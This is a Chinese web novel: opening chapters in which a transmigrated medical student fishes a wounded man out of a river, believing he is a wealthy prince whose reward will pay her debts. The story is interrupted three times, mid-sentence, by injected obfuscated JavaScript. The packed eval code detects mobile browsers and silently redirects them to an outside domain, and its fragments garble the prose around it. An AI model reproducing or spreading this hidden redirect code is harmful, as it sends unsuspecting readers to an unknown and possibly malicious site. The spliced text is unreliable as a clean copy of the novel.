《错捡恶毒男配后》 1. 没捡错吧 早春多雨,一连下了三日的雨,今日可算是停了。 城外不算远的一条河边,季妤嘴里叼着包子,腾出手给鱼钩穿好蚯蚓,找了个视野宽阔的地方放好小板凳。 她将鱼钩抛到河里,抿着唇,一双黑白分明的杏眼死死地盯着河面,似乎企图要瞧出个什么来。 微风拂过,水面粼粼波光,柳絮随风飘荡,落在水面,荡起层层涟漪。 季妤紧了紧薄衫外衣,虽说是四月的天,不算刺骨,但风一吹,也还是有些冷意。 她看了眼鱼钩落下的地方,那里还平静无波。 已经过去了两刻钟,她却连条小鱼都没钓到。 虽说她真正的目的不是为了钓鱼,但前两天好歹钓到了几条小鱼,卖给菜场也换了几十文钱。 今天雨停了,反而却一无所获,季妤不免有些气馁。 “小姑娘,你要钓鱼得往上面走。” 季妤听到声音回头去看,见是一个背着鱼篓,手拿鱼竿的老伯,站在不远处正朝着她喊道。 季妤朝老伯笑了笑,回喊了一声,“谢谢阿伯提醒!”便又固执地扭回头去,继续盯着鱼钩落下的地方。 对于季妤的不听劝,老伯无奈地摇头,叹息一声后便往上游走去。 又过了一个时辰,季妤看了眼旁边的鱼篓,里面是她钓上来的两条小鱼,只有巴掌大,做菜都嫌少,此时正活蹦乱跳着想要跳出来,她叹了口气,将鱼篓盖上。 看来今天又是一无所获的一天,季妤收起鱼竿,恹恹地起了身,打算今天的钓鱼结束。 正当她起身要去背鱼篓时,余光瞟到了河面上漂着一个物体,定睛一看,像是个人。 季妤眼睛瞬间亮了起来。 来了,来了!终于来了,不枉她苦等这三日。 季妤欣喜若狂地将鱼竿随意扔在地上,利落地挽起裤腿和衣袖,快速地朝河里奔去。 脚踩进水里,刺骨的冷意瞬间席卷全身,季妤忍不住打了个寒颤,紧接着便是止不住地哆嗦。 她看了一眼还漂在河面中心的人,想起自己的真实目的,咬着牙又将裤腿挽高了些。 裤腿挽再高也无济于事,因为河水直接漫过了她的腰,等季妤艰难地游过那人身边时,她已经冻得嘴唇发紫,面色苍白。 她颤抖着手伸向那人,将人反转过来使其正面朝上,当目光触及到那人泡发的肿胀的烂脸后,季妤吓得脚底一滑,整个身子跌进水里。 猝不及防地被迫喝了一大口冷水,季妤头脑清醒了一阵,看了眼那已经泡发了的尸体,忙连滚带刨似的游回了河岸。 “妈呀,吓死我了,太吓人了……”季妤心有余悸地拍了拍胸脯,跌坐在小方凳上缓了好一会都没缓过来。 才缓过来一点,眼睛却又不由自主地看向了河面。 那尸体还在漂着,顺着水流方向正往下游漂去。 季妤猛地站起身,想到什么后又摇头重新坐回了凳子上。 那人应该不是她要找的,按照原书剧情,她要找的人不可能那么快死去。 那尸体全身浮肿,脸已经溃烂不成样,一看就是在水里泡发了好几天的。 季妤打消了要把人捞上来的念头。 一是那人死状太过可怕,刚才的那一眼到现在都记忆犹新,估计今晚得做噩梦了;二是她不想多管闲事害了自己,这尸体来路不明,万一其中牵连什么,她若是管了,恐怕她小命难保。 一刻钟过去了,亲眼看着那人往着下游漂远了,季妤才松了一口气,起身背起鱼篓准备回去。 可就在这时,她眼睛又忍不住地瞟到了河面去,于是又看到了河面上漂着一个人。 季妤心里咯噔了一下,暗道:今天是怎么回事,遇到一个死尸也就罢了,怎么还来一个。 季妤眯着眼朝着河面看了两眼,思索着要不要过去确认一下,万一这人是自己要找的人呢? 可万一又是一具泡发了的死尸呢?那她岂不是要再被吓一次? 季妤心里纠结得不得了,最后思来想去,决定赌上一把,再下水看看。 她轻叹一口气:唉!谁让她还欠着三百两巨债呢?! 为了今后的钱途,她不得不冒这个险,就算再被吓到一次,她也认了! 做任何事都是有风险的,如果这次的风险能给她带来光明的钱途,那么这风险冒得也是值得的。 第二次下水,季妤果断了许多,秉着一不做二不休的态度,不管这河水有多冰冷刺骨,她都咬紧牙关,一鼓作气地游到那人身边。 心里想的是速战速决,如果不是她要找的人,她扭头就游走,如果是她要找的人,那就再好不过。 也不枉她前两日冒着雨还在这里蹲守,除了钓到几条小鱼卖了几十文钱外,其它别无所获。 扒开凌乱的湿发,一张棱角分明,异常俊美的脸显露出来,季妤瞳孔放大,内心雀跃不已:长得那么帅,很符合书里对男二的描写。 这就是她苦等了三日要捡的人啊! 只是这人双目紧闭,脸色灰白,唇色泛紫,一股死气萦绕全身的样子,季妤不免有些惊慌,该不会又是一个死人吧?! 心里才冒出这个念头,季妤就赶紧掐断,这人可不能死啊! 伸手抓过男人的手腕,探其脉搏。 脉搏微弱得几乎察觉不到,季妤紧皱着眉头揽过男人的肩。 没死就行,她现在已经是会医术的人了,且医术还算不错,她应该能医治好他。 将男人拖着游回岸上,又将男人平躺放好后,季妤已经累得瘫倒在地上。 连打了几个喷嚏后,季妤侧头看了一眼躺在自己身边的男人,入眼便看到了他那深邃的眉骨,高挺的鼻梁,流畅的下颌线以及性感凸起的喉结。 季妤不由得咽了咽口水,妈呀,活了二十年,还从没见到过长得这样帅的男人,比任何神颜爱豆都要帅! 不愧是作者费了大量文笔来描述的外貌,男二简直就是长在了她的审美点上,特别是他那微黑的小麦色皮肤,更使他的五官平添了一股野性。 等等,微黑的小麦色皮肤?!!! 季妤惊讶地看着男人裸露在外的肌肤,有些错愕,她怎么记得书中描写男二时有很多处都特意强调了他肤白似雪,皮肤比女子还要白上几分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577362|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道她捡错人了? 这个念头一起,季妤瞬间慌乱,赶紧在男人身上一通翻找,终于在怀里找出一块玉佩,看到玉佩上刻的字,季妤总算放下心来。 没错了,这回确实没出错,那皇家专属的玉佩上面刻着一个钰字,正是书中男二三皇子祁钰的玉佩。 一想到这样帅的男人还奄奄一息躺着,而她还要靠救他,让他知恩图报地提出报答她黄金百两还债,季妤就一个鲤鱼打挺,赶紧再次给男人全身检查了一遍。 如她所料,男人伤势严重,身上多处伤口,最严重的莫过于离左胸心脏只差几厘米的箭伤。 箭应该已经被他拔出来了,看伤口情况也有被简单处理的痕迹。只不过箭上面应该有毒,因为他的伤口已经腐烂泛黑。 而由于失血过多,一身月白色华服已被血染红了一大片,乍一看还以为穿的是红衣 季妤紧皱着眉头从布包里翻出早就准备好的药,准备给男人上药。 打算先简单给他止住血,等把人带回去后再着重给他医治。 就在季妤准备往男人伤口撒药粉的那一刹那,手腕被一把拽住,那冰冷的触感使得季妤下意识地浑身一抖, 偏头看过去,正对上一双阴恻恻的眸子。 男人紧皱眉头,眼睛半眯着,眼神里充满着警惕和防备,还有一丝不易察觉的杀意。 季妤不自觉地吞了口唾液,强装镇定地扬了扬手里的瓷瓶,解释道:“公子,你受伤严重,再不止血的话,你恐性命不保,我是大夫,这是止血的药粉,撒上这药粉,你的血就会暂时止住。” 男人不说话,只定定地盯着她看,拽着她手腕的手也依旧没有松开,季妤试探性地抖了下瓷瓶,些许药粉便撒落在男人伤口处。 一声微不可察地闷哼声响起,季妤看到男人眉头皱得更紧,一双充满戒备的眼睛里陡然升起一股怒火,他恶狠狠地瞪着她,像一匹恶狼,仿佛下一刻就要撕碎她一样。 季妤呼吸一滞,不敢再轻举妄动,就这么僵持着,良久,许是手累了,男人松开了拽着她手腕的手,然后带着不甘的神色缓缓地闭上了眼睛。 季妤摸了摸鼻子,舒了口气,药粉除了能止血,还有安神镇定的效果。 趁着男人昏死过去,季妤赶紧给他上好药简单地用纱布包扎了一下。 做完后突然回想起了方才那个充满杀意的眼神,季妤不禁有些后怕,心有余悸间还有一丝疑惑。 书中的男二是个温润如玉的谦谦君子,怎么她捡到的这个男人,从睁开眼开始就是一副凶神恶煞的样子。 她敢断定,如果他没有受伤,他刚才一定会杀了她。 可是她确确实实没有捡错人啊,那人身上有男二专属的玉佩,这种皇家之物是绝对不可能出现在旁人身上的。 总不可能是偷的吧! 祁钰虽说是温润如玉的温柔男二,但也是会武功的,怎么可能轻易让人偷了贴身玉佩? 季妤暗笑自己多想,最后再次肯定自己没有捡错人。 只是,这样一个高大魁梧的大男人,她一个娇弱的小女子要怎么不引人注意地把人带回家呢? 2. 把他装进粪桶 就在季妤苦恼怎么把男人带回家的时候,一辆驴拉的板车出现在她的视野中。 季妤定睛看了好一会儿,那装着超大粪桶的板车停在了不远处,原本坐在板车上的倒粪小哥忽地下了车,紧接着便脚步匆匆弓着腰捂着肚子跑进了树丛里。 季妤猜那人应该是拉肚子去了,她内心狂喜,心生一计。 她看了眼地上昏迷的男人,只略微思索了一下,便利落地撸起袖子,咬紧牙关将人扶了起来背在背上。 男人身形高大,全身的重量都压在季妤身上,好像压了一座大山,季妤喘了几口粗气,缓了一下,抬起头来眼睛朝前看,视线落在板车上。 要趁那倒粪小哥回来之前把祁钰装到桶里去才行。 那装粪的木桶很大,足以装进一个成年的大男人,只要把祁钰装里面去,就能进到城里,到时候她再找机会把他带回家中。 季妤不敢走得太慢,因为不知道那倒粪小哥什么时候回来,但背着一个那么高大的男人,她想走快也不能够。 艰难走到一半时,树丛那边突然传来窸窸窣窣的声响,季妤神情紧绷,咽了口唾沫,往树丛那边瞅了一眼,以为是倒粪小哥要出来了,谁知却窜出一个影子。 那影子小小的,速度飞快,季妤一时没看清,被这一吓,一颗心仿佛要从嗓子眼跳出来,后知后觉间看清了是一只灰兔子,方才神情一松,不敢再耽搁,背着男人加快了步子。 到了板车前已经累得不行,季妤却依旧不敢松懈,她先是紧张地看了眼树丛那边,见那里没什么动静,松了一口气的同时快速打开木桶。 正准备将祁钰塞到里面时,却被扑鼻而来的一股屎臭味给熏得干呕了几声。 虽然是已经洗了好几遍的粪桶,但已然是腌入味了的,哪里能轻易洗掉这臭味? 季妤屏住呼吸,忍住要再呕吐的冲动,皱着眉咬着牙将男人艰难地塞了进去,然后快速地盖好盖子,做完一切后,她才敢放松地瘫倒在板车上。 “欸?姑娘,你怎么了,可是身体不舒服?” 倒粪小哥拉完肚子回来,看到自己的板车上靠着一个颇为美貌的年轻姑娘时很是惊讶。 只见那姑娘衣衫单薄,浑身湿透,脸色苍白,蹙着眉虚弱地靠坐在板车上,一副病弱西施模样,让人不免心生怜惜。 季妤捂着胸口咳嗽了几声,睁着一双水汪汪的小鹿眼直勾勾地盯着他瞧,直瞧得小哥浑身酥麻。 心神荡漾间便听到她柔柔的声音:“这位小哥,我方才不慎落水,如今浑身乏力,已是走不了路了,能否请小哥载我回家去?” 许是怕他为难拒绝她,季妤又装作一脸恳求的模样,“我家就住在城南烟雨巷,若是小哥不同路,把我放在城门口也成。” 这样一个娇滴滴的小姑娘有求于他,小哥怎么可能忍心不帮呢? 况且只是载她一程,不算多麻烦的事,于是倒粪小哥欣然同意了。 驴车启动,速度却缓慢,季妤听到倒粪小哥朝驴子骂道:“你这懒驴,才喂饱了你,怎地走得比来时还要慢!” 季妤心虚地垂下头,余光朝粪桶处扫了一眼,无声地扯了扯嘴角。 * “小哥,多谢你送我回家,为表谢意,请小哥喝上一杯我新酿的桃花酒。”季妤一手拿着瓷杯,一手拿着酒坛,眉眼带笑地看着倒粪小哥。 倒粪小哥有些受宠若惊地接过瓷杯,“这,姑娘太过客气了。” 季妤眼睁睁地看着一杯桃花酒被倒粪小哥喝了下去,倒粪小哥眼睛一亮称赞道:“好喝!” 季妤脸上微笑着,心中默念着:1,2,3…… “哎呦,不行了……”倒粪小哥忽地捂住肚子叫喊起来。 季妤又是慌张又是担忧地轻声问:“小哥,你怎么了?” 倒粪小哥脸色煞白,见季妤似乎被他刚刚喊的那一嗓子给吓到了,于是赶紧扯了扯嘴角露出一个笑解释:“没事没事,就是早上吃了个馊包子,已经闹肚子好几次了,这会子肚子又不舒服起来。” 说完不等季妤反应,又有些不好意思地问:“姑娘,这附近可有茅房?” 季妤了然地舒了口气,眼里仍旧是担忧的神色,她朝前面一指,“茅房就在巷子深处,你往前边走,走过五户人家就能看到,不若我带你去?” 倒粪小哥连忙摆手:“不用不用,我自己去就行,姑娘你快回去换身干净的衣服,可别着凉了。” 说完便捂着肚子朝季妤说的方向走去。 季妤看着他有些瘦小的背影,想了想,从布包里拿出钱袋,然后从钱袋里取出一两银子放到板车上。 眼见着倒粪小哥身影消失在巷子处,季妤收回视线,赶紧将装粪的木桶打开。 里面的男人神情安详地靠坐在桶壁上,季妤神色有些紧张地又往巷子处瞄了一眼,怕倒粪小哥折返,见那巷子处仍空无一人,遂放下心,收回视线利落地爬上板车。 季妤捞起男人的胳膊紧紧拽住,然后使出吃奶的劲儿将人拖了出来,她不敢耽搁,艰难地背起男人就往家中赶去。 幸好倒粪小哥是个热心肠的人,即使他要去的地方和季妤的家是完全相反的方向,他还是将她送到了家门口,所以季妤只辛苦了一小段路就回到了家中。 对此,季妤对倒粪小哥是心存感激的,也因为给他下了一丢丢泻药感到愧疚,所以给他留了一两银子。 这一两银子可抵他一个月的工钱,也算是给他的感谢费和补偿费。 * 季妤把祁钰安排在原主爹的房间,也就是她穿书过来,那个死了不到一个月还欠了三百两外债的爹。 说起穿书,季妤就一阵无语,她本是一个在读大三学生,期末考前一晚室友们都在熬夜复习,她却在看小说。 估计老天看不惯她这种行为,所以等醒来后睁开眼的那一刹那,她就发现自己穿书了,穿进了那晚看的小说里。 她穿成了书里的路人甲,连句正经台词都没有的那种。 原书是这么写的,原主爹季丰是济世堂的大夫,季妤是他的独女,母亲生她时难产而死,由季丰一人独自带大的她。 就在一个月前,季丰去外地进购一批药材,不慎返程路上遇到劫匪,药材被抢劫一空,自己和坐的马车一并坠崖。 那悬崖深不见底,坠崖的人不可能生还,所以原主甚至没见到她爹最后一面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577363|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 本就因为爹死了而伤心欲绝的原主,在她爹死了没多久,就有债主上门催债,看着白纸黑字上明明白白签着她爹的名字,她才知道原来购置那批药材的钱是借来的。 还借了足足有三百两! 原主哪里有那么多钱?翻箱倒柜,变卖各种值钱的东西也才凑了不到百两,距离三百两巨债还差了整整一大截。 债主步步紧逼,要她要么拿济世堂抵债,要么让她嫁给他家那个二十多岁还要人在他拉屎后帮忙擦屁股的痴傻儿子。 济世堂位于南市中心地段,南市又是青州城最繁华的街市,可想而知济世堂位置有多好,有多遭人眼红。 济世堂不仅位置好,更是原主爹倾尽了半生心血的成果,是早年和妻子,也就是原主娘一起开的,里面承载着许多回忆。 有她和她爹的,有她爹和她娘的,总之,这个药铺不可能拿来抵债。 所以,原主选择了嫁给债主傻儿子。 只是她还没有明确和债主说是拿济世堂抵债还是拿她自己抵债。 她偷偷找到债主家,亲眼看到了他那痴傻儿子拿着鞭子活活把一个女孩抽死了,还笑着与她视线相对。 原主被这一吓,想到要嫁给这样一个恶劣的人,还不如死了算了,于是当晚便一根绳子吊死在家中。 而她季妤,来自现代的一个普通大三学生,就在这个时候穿进来了。 距离她穿书已经过去半月了,除了原主凑的那堪堪一百两银子,她在这半月靠着白日给人看病医治,晚上给寻芳楼的姑娘画像,偶尔还画春宫图贩售给书肆赚点外快。 半月了,却只攒了不到百两,距离债主给的期限还剩一月不到,季妤泄气的同时忽然间就想到了一个妙计。 按照原书剧情,要不了多久就有男二祁钰受重伤坠河,被一个村女捡回家,之后祁钰伤好,报答了村女黄金百两和一套大宅院。 从京城漂到了青州,整整漂了三天三夜,要不是他有男二光环,来个炮灰或者什么配角这么漂,早就死了。 哪有男二那么好的运气,漂到了青州,不但没死,还被一个善良的姑娘捡回家中医治照料。 一想到祁钰出手这么大方,季妤就起了截胡村女的念头,所以后来才有了她借着钓鱼在河边苦等三日的现象。 她只要赶在那村女之前捡到祁钰,给他医治好伤,再好吃好喝地招待他,以祁钰谦谦君子又知恩图报的美好人品,到时候黄金百两和那一套大宅子就是她的了! 季妤想到以后光明的钱途,眼里就闪过一丝热切,看向祁钰的眼神都充满了光亮。 “阿嚏,阿嚏……”连打两个喷嚏的季妤摸了摸鼻子,怕自己生病感冒,到时候不能照顾祁钰,于是赶紧回了自己房间换衣服。 等换好衣服重新回来,季妤从衣柜里找出一件原主爹穿的衣服,打算给祁钰换上。 给一个大男人换衣服可是件苦差事,不过是给这么帅的男人换衣服,季妤乐意至极,甚至有些迫不及待。 湿衣服紧紧地贴在身上,勾勒出男人宽肩窄腰的优美形体,还有胸口以及臂膀紧实的肌肉,穿着衣服都那么秀色可餐,那一会儿脱了衣服,岂不是…… 3. 公子且安心住下 南市是青州最繁华的街市,已经换了一身干净衣裳的季妤走在热闹的街巷,听着小摊贩们此起彼伏的吆喝声,便顺手在早餐摊买了筒豆浆。 豆浆是热乎的,她边喝着边穿过鳞次栉比的各色店铺,轻车熟路地来到自家的济世堂,只是开了锁还未等她进去,便有人叫住了她。 “小妤妹妹!” 季妤扭头,在看清来人后瞬间眉头紧皱,厌恶之色溢于言表,她冷冷地开口:“你来干什么。” 杜聪迈着肥胖的身躯小跑着凑到季妤面前,从满脸横肉中挤出一抹笑,满眼欣喜道:“我来找小妤妹妹你去放风筝啊,今日停了雨,又有风,最适合放风筝了!” “我为什么要和你去放风筝。” “因为你是我的未婚妻啊,爹爹说了,未婚妻就是陪我玩的。” “呵。”季妤冷笑一声。 杜聪便是她的债主杜庭松的那个痴傻儿子。 仿佛料定一月期限内她还不了债,也知道她不舍得拿济世堂抵债,所以杜庭松便默认她之后会乖乖嫁给他的痴傻儿子杜聪。 而自那一日原主与杜聪见了一面后,杜聪便赖上了她,隔三差五就要来找她,不是让她陪着玩这个就是玩那个。 季妤一次都没有答应,对他态度也算不上好,只是那傻子看不出来她脸上明晃晃的厌恶,依旧乐此不疲地来找她。 若是杜聪只是单纯天真的傻子也就罢了,她虽然不喜也不会那么厌恶,可偏偏杜聪是披着天真外皮的恶魔。 死在他手里的年轻女孩不说十个,也有七八个了,还个个都是长得好看的姑娘,但凡是他看上的,就要带回家中折磨一番。 刚穿过来那会,季妤就照过镜子了,惊奇的发现自己还是原来的脸,只是现在的脸更瘦削一些,皮肤更白一些,再加上一头乌黑亮丽的齐腰长发,比在现实世界一头短发的她更有美人感。 所以杜聪一见到原主,仅仅就是一个对视,就看上了原主,因此才会像狗皮膏药一样黏着她。 以往或许还能有闲情搭理他几句,可是现在她还要拿了药赶紧回家给祁钰治伤,实在没功夫搭理杜聪。 季妤开了门进去后便直奔药柜。 有想到祁钰会受伤,所以她在家里备了些治外伤和内伤的药,只是没想到他受伤这么严重,还中了一个有些棘手的毒。 家里的药显然就不能医治好祁钰的伤,所以她才会来济世堂一趟,准备抓完药就赶紧回去,谁知又碰上了杜聪。 “小妤妹妹,你若不想放风筝,我们去钓鱼吧。”杜聪跟在季妤屁股后面喊道。 季妤不耐烦地回头瞪了他一眼,“你能不能别缠着我,你找别人行不行。” 杜聪愣在原地,无措地看着季妤,“小妤妹妹真的不去钓鱼吗?” “不去。” “好,那我就找别人了哦。” 季妤抓好药回头时,正好看到杜聪肥胖的身躯消失在转角处,她抿了抿唇,将视线收回。 在济世堂门口挂上休息的牌子后便关了门往家中赶去。 * 季妤给祁钰换好药重新用纱布包扎好后,便抱着他换下来的脏衣服来到院子里。 院子里有一口井,洗衣服不用专门走到河边去洗,季妤打了一桶水,看着被血染红的衣服发呆。 她不懂面料,但也摸的出来,祁钰身上穿的这件衣服面料是极好的,很符合他三皇子的高贵身份。 被血几乎覆盖的衣服非常不好洗,季妤搓了几下便直接放弃了,打算用皂角泡个几天再洗。 简单吃过午饭,天气晴朗,季妤搬了张躺椅到院中看医书,想着看能不能找到什么解毒的方法。 祁钰中的毒她还没有什么头绪,只能简单地抑制毒素使其不再扩散至全身,但却不能完全清除。 这一看,就看到了太阳落山,很快夜幕低垂。 季妤揉了揉发涩的眼睛,捏了捏酸疼的脖子,从躺椅中起身,打算先去看看屋里人的情况,就在转身时,被一双阴测测的眸子又吓得跌回躺椅上。 她看到祁钰正无声无息地靠在门框上,屋内没有点灯,男人隐在黑暗中,季妤看不清他的脸,却能看到那双亮得发光的眸子。 那是一双满是戒备的眼睛,此刻正一瞬不瞬地盯着季妤瞧。 季妤抚了抚胸口,不自觉地咽了咽口水,压下心中陡然升起的害怕之意,站起身来朝祁钰缓缓走去,在他面前还有两步远的距离停下。 “你醒了啊,感觉身体怎么样?” 季妤听见了自己假装开朗的语气。 在等祁钰开口的时候,她的眼神就已经落在了他的身上,将他上下快速扫了一遍。 嗯,原主爹的衣服穿在他的身上,竟然还那么好看,果然是行走的衣架子,长得好看,身材好看,就是披块布也是好看的吧。 南星垂眸看着眼前距离他两步远的季妤,视线落到了她紧揪着衣角的手,“是你救了我。” 不是疑问,是肯定。 季妤连忙上前一步点头,“对对对,就是我救的你。” “我今早在河边钓鱼,钓着钓着就看到河面上漂着一个人,我是个大夫,肯定要去救的,所以就把你救上来了,你受了重伤又昏迷不醒,没问过你的意见我也不好去报官,所以就把你带回我家了。” 季妤噼里啪啦地像是倒豆子一样,将要说的都说完了,说完了便去看男人的表情。 她刚才的一番话应该是滴水不漏的,毕竟她当时确实是在钓鱼,而不是特地去救他的,这就说明她不是带着目的去救的,祁钰应该会消除对她的戒备。 季妤微笑着看着眼前的男人,她与他只隔着一步的距离,男人高大的身影在她面前越发的直观,她竟然只超过了祁钰的肩一点点? 她现在的身高和在现实世界里是一样的,一米六,那眼前的男人岂不是一米八五以上了? “我这衣服……” “我换的。”季妤有些不好意思地垂着头,“你全身都湿透了,要是不及时换下来,会加重你的病情,你身上穿的是我爹的衣服,还是全新的。” 见男人一直盯着衣服看,季妤想了想,突然想到什么脸有些红,摸了摸鼻子,拔高了些音量保证道:“给你换衣服时我全程都是闭着眼的,绝对没有偷看!” 怕男人不信,季妤还伸出两指并拢放在头上发誓。 南星怪异地看了季妤一眼,他夜视能力很好,因此脸颊泛红的季妤被他看了个清清楚楚。 既是没有偷看,为何脸红? 见男人许久没有说话,季妤瞅了瞅男人,有些迟疑道:“要不,我送你去官府,你亲自去联络你的家人?” 这次季妤来了个以退为进,以祁钰三皇子的身份,他受伤一事绝对是越少人知道越好,更别提说让当地官府知道。 若是让官府知道,反而麻烦。 男人在听完季妤这番话后,终于有了点反应,只见他扯出一个略显僵硬的笑,然后拱手道:“多谢姑娘救我,只是我此番是被仇家追杀,不便报官。” 顿了顿,又接着道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577364|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我此番受伤严重,不敢让家人知晓,恐让她们担心,况且我家路途遥远,我身负重伤也不便行动。” 他抽空看了眼季妤,见她眼睛亮晶晶地盯着他,听得颇为认真,南星握拳在嘴边,清咳一声,“能否请姑娘暂留我住一段时间,等伤势好些了我再离开,届时定会报答姑娘恩情。” 听了男人这话,季妤内心一阵狂喜,她就知道祁钰是个知恩图报的谦谦君子。 她仿佛看见了光明璀璨的钱途已经在向她招手了。 季妤强压下要上翘的嘴角,神情认真,很是郑重道:“我是个大夫,大夫的本职就是治病救人,公子且安心住下,我定将你医治好。” “在下……”男人顿了一下。 季妤扯着嘴角微笑着,满眼期待地看着面前说到一半突然顿住的男人,心里着急不住地道:你说你是祁钰啊,你快说啊! “在下祁钰,这几日便麻烦姑娘了。” 季妤霎时展开笑颜,看向南星的眼神都热切了几分,“我叫季妤。”自我介绍完,她又上前半步,殷勤道:“祁公子快回屋躺着好生休息,我去做晚饭了。” “有劳姑娘。”南星语气淡淡,微微颔首,然后转身,忽然鼻尖闻到一股清冽的药香,抬眼间便看到季妤抢在他之前进了屋。 季妤点好蜡烛,屋内瞬间明亮起来,她朝南星笑了笑,“祁公子好好休息。”然后转身出了屋,径直走向了厨房。 来到厨房,季妤思考着晚饭吃些什么,突然瞥见角落里的木盆,里面还游着两条小鱼,是她今早钓的。 要不煮个鱼肉粥?有肉又比较清淡,适合病人吃。 季妤端着鱼肉粥进来时,看到南星没在床上躺着,而是站在窗子边,窗子是开着的,不时有冷风灌进来。 季妤将粥放在桌上,走到窗子边,有些恼地将窗子关上,忍不住道:“祁公子,你现在身体虚弱,不宜走动,更不宜吹风。” 继承了原主的医术,季妤已然带入了自己医生的身份,所以对于不听医嘱的患者很是不喜,但祁钰是她现在要抱的金大腿,她不能对他发脾气,便只能好言好语地劝说着。 幸好她捡的是谦谦君子祁钰,对于她的一片苦心能理解。 “抱歉。”依旧是淡淡的语气。 鉴于认错态度良好,季妤不在意什么语气,她笑着道:“我煮了鱼肉粥,你快来吃。” 季妤贴心地给南星盛了一碗。 “多谢。” 季妤看着南星吃下一口后,赶紧道:“怎么样?还行吧。” 南星微微点头,“好吃。” 季妤笑了笑,她在现实世界虽然鲜少做饭,学校有食堂也轮不到她亲自做饭,但她是个吃货,美食博主的视频可看了不少,再加上穿书这半月,只能自己动手做饭吃,不会做饭也给自己练会了。 她觉得自己在做饭方面还是有些天赋的,不枉她每晚都看美食博主视频入睡。 季妤喜滋滋地给自己也倒了一碗,舀了一大勺准备塞入口中,突然桌子被震了一下,陶碗里的粥被震得溅出来滴到了桌面上。 季妤有些错愕地盯着倒在她面前的这颗后脑勺,翻飞的发丝在眼前晃了一阵,最后平静地落满男人的后背。 季妤心里一慌,赶紧放下碗,抓起男人的手腕把脉。 半晌,她看了眼桌上还有一大半的鱼肉粥,无奈地叹了一口气。 竟然是对鱼肉过敏。 鱼肉那么寻常的肉,难道祁钰从小没吃过鱼肉,不知道自己对鱼肉过敏吗? 4. 三番五次下毒 “你醒了啊!” 季妤余光从窗子缝隙处看到男人醒了,正挣扎着要坐起来,于是赶紧小跑到门口,推门而入。 “欸,你先别急着下床。”看到南星一条长腿已经踩在了鞋面上,季妤将药平稳地放到桌面,急忙上前两步,一把摁住男人的大腿。 南星有一瞬间的错愕,感受到了腿上柔软带着凉意的触感,他低下头去看摁在他大腿上的那只白皙纤细的手,忍不住皱了眉。 他不喜欢与人有任何肢体上的触碰,从小到大除了阿娘和小姐,没人敢随意碰他,而那些人也根本就近不了他的身。 可眼前这个姑娘,却直接把手摁到他的大腿上,实在让他难以忍受。 他伸出手想要打掉那只放在他腿上的白皙的手,忽地腿上传来一股力量,南星眯着眼,脸色有些难看。 季妤一只手臂穿过男人的膝盖窝,将他那条踩在鞋子上的腿重新搬回床上,然后塞进了被窝里,又贴心地将枕头立起来方便他靠着舒服。 做完这一切,也没看他脸上是什么表情,便赶紧转身去拿药碗,“你现在不仅身负重伤,还新添了一伤。” 南星闻言,敛下心中不满的情绪,脸上也恢复了一贯的平淡表情,他抬眸看了眼季妤,“我想吐。” 季妤递上药碗,认真道:“想吐就对了,你这是对鱼肉过敏了。” “本来只是简单的过敏,不至于昏倒,是因为你受了重伤,加重了过敏的反应,这碗药是专门治疗过敏的,你喝了就不会想吐了。” 南星接过药碗,垂眸看了眼碗里黑乎乎的汤药,抿着唇沉默不语,也没有要喝的意思。 季妤见了,忙道:“可是嫌药苦?我房里有蜜饯,我去给你拿。” 季妤转身要走,南星连忙叫住,“不用了。” 说完后,便将碗中汤药一饮而尽。 药确实很苦,但比起每月要喝的那药,这碗药却是好多了。 见南星乖乖喝了药,季妤笑道:“那你再休息一会儿,我给你煮了瘦肉粥,我去给你端来。” 因为南星对鱼肉过敏,所以那一大碗鱼肉粥都进了季妤的肚子里。 想到他几日没进过食,肚子恐怕空空如也,要想伤势痊愈得更快,就不能空着肚子。 幸好家里还剩了半块瘦猪肉,季妤便给他重新煮了一锅青菜瘦肉粥。 很快青菜瘦肉粥端来了,季妤给南星盛了一大碗。 看着南星咽下一口粥,季妤忙问:“如何?” 南星舀起第二勺,“好吃。” 季妤笑着正要说些什么,忽地眼前一晃,南星已然倒在了床上,手失了力气垂了下来,碗便跌落在地板上,发出清脆的响声。 季妤有些呆滞地看着洒了一地的青菜瘦肉粥,又扭头看了眼倒在床上的某人,脸上的笑意还没来得及褪去,就这么僵在脸上。 季妤给南星把了脉,发现还是过敏原因,于是忍不住怀疑道:“……难道他对猪肉也过敏?” 屋内安安静静,没人回答她的疑问,季妤叹了一口气,蹲下身去收拾地上的碎瓷片。 等南星再次醒来时,便看到季妤端坐在床榻边。 “你醒了啊!”季妤欢喜道,然后将碗递过去,“饿了吧,快趁热喝。” 这次是白粥,什么都没放,她就不信他还能过敏! 可当男人再次倒下后,季妤已经彻底无奈加无语了。 